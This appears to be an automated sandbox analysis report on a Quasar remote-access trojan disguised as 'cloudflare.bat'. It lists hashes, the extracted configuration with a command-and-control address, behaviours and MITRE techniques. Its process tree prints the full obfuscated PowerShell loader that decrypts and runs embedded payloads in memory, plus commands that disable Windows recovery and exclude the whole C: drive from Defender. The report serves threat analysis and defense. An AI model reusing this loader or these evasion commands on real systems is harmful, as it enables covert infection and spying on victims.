quasar | d09f2f0f47441da499f40328373ea30f5b2fba8f75f8d84e1df54f0d39c363e8

General

Target

cloudflare.bat
Size

1.6MB
MD5

d7ef2415ae2b53c9cc8d960f332b2fc2
SHA1

5ee9e9075d7eff88b9b6f6640dd23b04d3d89bf8
SHA256

d09f2f0f47441da499f40328373ea30f5b2fba8f75f8d84e1df54f0d39c363e8
SHA512

0d0b614e2f6c25408d3e35679d41dd9a96f90b54ffd373db1e5be1809d8384370baf391b0c55c6769b730d3ca319efcc052a3ebf77cf5cfb502dac66fd2489e4
SSDEEP

24576:6dbChi2BlJAy2y618+L24nMTz0ZpAsb1EwG5M1XxWMkp2b8DU+owr4SeBlKcvREH:9i2Bl+2TzZw5XMe4DU+zrSl+v

Score

10^/10

quasar explore execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

explore

C2

45.88.186.152:4782

Mutex

4b5ff9f7-66f8-4c52-adcb-b84eb3e09f69

Attributes

encryption_key
0D83B228073938065AB8FEE60BD7542CA8D42A20
install_name
Onedrive.exe
log_directory
Logs
reconnect_delay
300
startup_key
Quasar Client Startup
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/4728-35-0x0000019D65A20000-0x0000019D65D44000-memory.dmp	family_quasar

Blocklisted process makes network request 4 IoCs

flow	pid	Process
15	4728	powershell.exe
16	4728	powershell.exe
18	4728	powershell.exe
50	4728	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3508	powershell.exe
4000	powershell.exe
4728	powershell.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	reagentc.exe
File opened for modification	C:\Windows\system32\Recovery	reagentc.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	reagentc.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
4728	powershell.exe
4728	powershell.exe
3508	powershell.exe
3508	powershell.exe
3508	powershell.exe
4728	powershell.exe
4728	powershell.exe
4000	powershell.exe
4000	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4728	powershell.exe
Token: SeDebugPrivilege	3508	powershell.exe
Token: SeDebugPrivilege	4000	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4728	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 320 wrote to memory of 4728	320	cmd.exe	84
PID 320 wrote to memory of 4728	320	cmd.exe	84
PID 4728 wrote to memory of 3508	4728	powershell.exe	86
PID 4728 wrote to memory of 3508	4728	powershell.exe	86
PID 4728 wrote to memory of 2228	4728	powershell.exe	88
PID 4728 wrote to memory of 2228	4728	powershell.exe	88
PID 4728 wrote to memory of 4000	4728	powershell.exe	90
PID 4728 wrote to memory of 4000	4728	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\cloudflare.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:320
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8bhRsRHlVCq0oE/jC8znaXL8N3C2l4vOkUX6p5fMCBI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gSWUi9Srt/hMiTUvma/Osg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $bvRls=New-Object System.IO.MemoryStream(,$param_var); $PBSCt=New-Object System.IO.MemoryStream; $pTrqw=New-Object System.IO.Compression.GZipStream($bvRls, [IO.Compression.CompressionMode]::Decompress); $pTrqw.CopyTo($PBSCt); $pTrqw.Dispose(); $bvRls.Dispose(); $PBSCt.Dispose(); $PBSCt.ToArray();}function execute_function($param_var,$param2_var){ $fcAKi=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $byGGF=$fcAKi.EntryPoint; $byGGF.Invoke($null, $param2_var);}$QgxHT = 'C:\Users\Admin\AppData\Local\Temp\cloudflare.bat';$host.UI.RawUI.WindowTitle = $QgxHT;$SwrfE = [type]::GetType('System.IO.File');$OHVxV = [type]::GetType('System.Environment');$bNKIC = $SwrfE::('txeTllAdaeR'[-1..-11] -join '')($QgxHT);$BVkSS = $OHVxV::NewLine;$YddQR = $bNKIC.Split($BVkSS);$uUoiG = $YddQR;foreach ($IZmUa in $uUoiG) { if ($IZmUa.StartsWith(':: ')) { $tpTzT=$IZmUa.Substring(3); break; }}$payloads_var=[string[]]$tpTzT.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4728
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -Command "Get-Process powershell | Where-Object { $_.Id -ne 4728 } | Select-Object -ExpandProperty Id"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3508
- - C:\Windows\SYSTEM32\reagentc.exe
    "reagentc.exe" /disable
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    PID:2228
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4000

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
223bd4ae02766ddc32e6145fd1a29301

SHA1
900cfd6526d7e33fb4039a1cc2790ea049bc2c5b

SHA256
1022ec2fed08ff473817fc53893e192a8e33e6a16f3d2c8cb6fd37f49c938e1e

SHA512
648cd3f8a89a18128d2b1bf960835e087a74cdbc783dbfcc712b3cb9e3a2e4f715e534ba2ef81d89af8f60d4882f6859373248c875ceb26ad0922e891f2e74cc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
1c6fde2dec167fbabaa0168aebc5e3ef

SHA1
ee72f321c123219f5c411cca491333af848512e1

SHA256
35076ea62c75739f2f1434d3cdde5f975e332a13210ffab2ab63a975f300fbc9

SHA512
59221096ca0c2311844e5a845bddc0e1050224f1c094592216654342aa90cfd4f15e72927f63412b3b1d3b1960df960dbd6a371fb3d5a113998c7bda72eb07d5

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ij3lerpf.pnc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3508-15-0x00007FFCD52F0000-0x00007FFCD5DB1000-memory.dmp

Filesize
10.8MB

Download
memory/3508-29-0x00007FFCD52F0000-0x00007FFCD5DB1000-memory.dmp

Filesize
10.8MB

Download
memory/3508-26-0x00007FFCD52F0000-0x00007FFCD5DB1000-memory.dmp

Filesize
10.8MB

Download
memory/3508-25-0x00007FFCD52F0000-0x00007FFCD5DB1000-memory.dmp

Filesize
10.8MB

Download
memory/4728-13-0x0000019D4B1F0000-0x0000019D4B1F8000-memory.dmp

Filesize
32KB

Download
memory/4728-47-0x0000019D66340000-0x0000019D66390000-memory.dmp

Filesize
320KB

Download
memory/4728-0-0x00007FFCD52F3000-0x00007FFCD52F5000-memory.dmp

Filesize
8KB

Download
memory/4728-12-0x00007FFCD52F0000-0x00007FFCD5DB1000-memory.dmp

Filesize
10.8MB

Download
memory/4728-11-0x00007FFCD52F0000-0x00007FFCD5DB1000-memory.dmp

Filesize
10.8MB

Download
memory/4728-35-0x0000019D65A20000-0x0000019D65D44000-memory.dmp

Filesize
3.1MB

Download
memory/4728-1-0x0000019D63430000-0x0000019D63452000-memory.dmp

Filesize
136KB

Download
memory/4728-14-0x0000019D65720000-0x0000019D65852000-memory.dmp

Filesize
1.2MB

Download
memory/4728-48-0x0000019D66450000-0x0000019D66502000-memory.dmp

Filesize
712KB

Download
memory/4728-49-0x0000019D66C20000-0x0000019D66DE2000-memory.dmp

Filesize
1.8MB

Download
memory/4728-52-0x0000019D66390000-0x0000019D663A2000-memory.dmp

Filesize
72KB

Download
memory/4728-53-0x0000019D663F0000-0x0000019D6642C000-memory.dmp

Filesize
240KB

Download
memory/4728-54-0x00007FFCD52F3000-0x00007FFCD52F5000-memory.dmp

Filesize
8KB

Download
memory/4728-55-0x00007FFCD52F0000-0x00007FFCD5DB1000-memory.dmp

Filesize
10.8MB

Download
memory/4728-56-0x00007FFCD52F0000-0x00007FFCD5DB1000-memory.dmp

Filesize
10.8MB

Download

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